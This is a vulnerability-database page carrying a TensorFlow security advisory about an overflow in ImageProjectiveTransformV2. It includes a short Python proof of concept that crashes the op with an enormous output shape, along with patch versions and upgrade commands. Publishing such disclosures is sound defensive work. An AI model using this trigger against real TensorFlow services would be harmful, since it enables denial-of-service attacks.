VDB
KO
MEDIUM 4.8

GHSA-54pp-c6pp-7fpx

Overflow in `ImageProjectiveTransformV2`

Details

### Impact When [`tf.raw_ops.ImageProjectiveTransformV2`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc) is given a large output shape, it overflows. ```python import tensorflow as tf

interpolation = "BILINEAR" fill_mode = "REFLECT" images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32) transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32) output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32) tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode) ```

### Patches We have patched the issue in GitHub commit [8faa6ea692985dbe6ce10e1a3168e0bd60a723ba](https://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba).

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / tensorflow
Introduced in: 0 Fixed in: 2.8.4
Fix pip install --upgrade 'tensorflow>=2.8.4'
PyPI / tensorflow
Introduced in: 2.9.0 Fixed in: 2.9.3
Fix pip install --upgrade 'tensorflow>=2.9.3'
PyPI / tensorflow
Introduced in: 2.10.0 Fixed in: 2.10.1
Fix pip install --upgrade 'tensorflow>=2.10.1'
PyPI / tensorflow-cpu
Introduced in: 0 Fixed in: 2.8.4
Fix pip install --upgrade 'tensorflow-cpu>=2.8.4'
PyPI / tensorflow-gpu
Introduced in: 0 Fixed in: 2.8.4
Fix pip install --upgrade 'tensorflow-gpu>=2.8.4'
PyPI / tensorflow-cpu
Introduced in: 2.9.0 Fixed in: 2.9.3
Fix pip install --upgrade 'tensorflow-cpu>=2.9.3'
PyPI / tensorflow-gpu
Introduced in: 2.9.0 Fixed in: 2.9.3
Fix pip install --upgrade 'tensorflow-gpu>=2.9.3'
PyPI / tensorflow-cpu
Introduced in: 2.10.0 Fixed in: 2.10.1
Fix pip install --upgrade 'tensorflow-cpu>=2.10.1'
PyPI / tensorflow-gpu
Introduced in: 2.10.0 Fixed in: 2.10.1
Fix pip install --upgrade 'tensorflow-gpu>=2.10.1'

References